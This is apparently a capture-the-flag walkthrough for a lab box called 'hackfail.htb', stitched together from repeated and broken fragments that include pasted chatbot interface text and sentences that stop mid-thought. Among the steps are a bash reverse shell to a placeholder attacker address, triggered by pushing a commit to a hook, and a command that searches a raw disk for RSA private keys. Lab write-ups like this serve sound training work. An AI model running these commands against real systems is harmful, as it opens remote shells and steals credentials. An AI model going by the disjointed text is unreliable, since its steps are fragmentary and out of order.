The first step is always a thorough port scan. Using Nmap, we can perform a comprehensive scan to identify all open ports and running services:
Testing the login form reveals an interesting behavior:
As always, we started with a standard Nmap scan to see what we were dealing with: nmap -sC -sV -oA initial_scan 10.10.x.x Use code with caution. Copied to clipboard The scan revealed a fairly standard setup: hackfail.htb
Insert a bash reverse shell payload: bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1 . Push a dummy commit to trigger the hook. 🐳 Phase 3: Lateral Movement & Docker
This comprehensive walkthrough will cover the entire penetration testing methodology, from initial enumeration to achieving full system compromise. The first step is always a thorough port scan
strings /dev/sda | grep -i "BEGIN RSA PRIVATE KEY"
The "fail" occurs when you run default vulnerability scanners (Nessus, Nikto) and they report zero critical findings . You think you’ve failed. In reality, the box is hiding its secrets behind . Push a dummy commit to trigger the hook
Run sudo -l to check for specific binaries allowed to run with root permissions without a password.
Run a comprehensive scan to identify open ports and service versions. nmap -sC -sV -oA nmap_scan Use code with caution. Copied to clipboard
This technical brief provides an end-to-end blueprint for identifying, exploiting, and securing the multiple vulnerability layers present within the hackfail.htb target ecosystem. We will cover initial reconnaissance, sub-domain discovery, application layer exploitation, and post-exploitation privilege escalation. Technical Overview & Phase Breakdown Assessment Phase Primary Objectives Core Tools Used Key Vulnerability Class Active host detection, open port profiling, banner grabbing nmap , whatweb Information disclosure via service banners 2. Subdomain Fuzzing Virtual host mapping, infrastructure enumeration ffuf , gobuster Unprotected development subdomains 3. Initial Foothold Code execution, interactive reverse shell deployment python3 , netcat , Burp Suite Server-Side Template Injection (SSTI) / File Vulnerability 4. PrivEsc (User) Lateral movement, configuration harvesting linpeas.sh , find Hardcoded cleartext developer credentials 5. PrivEsc (Root) Root access achievement, system flag capture gtfobins , sudo -l Insecure Linux Capabilities / SUID binary misconfiguration Phase 1: Passive & Active Reconnaissance
Can you view another user's profile by simply changing a numeric ID in the URL?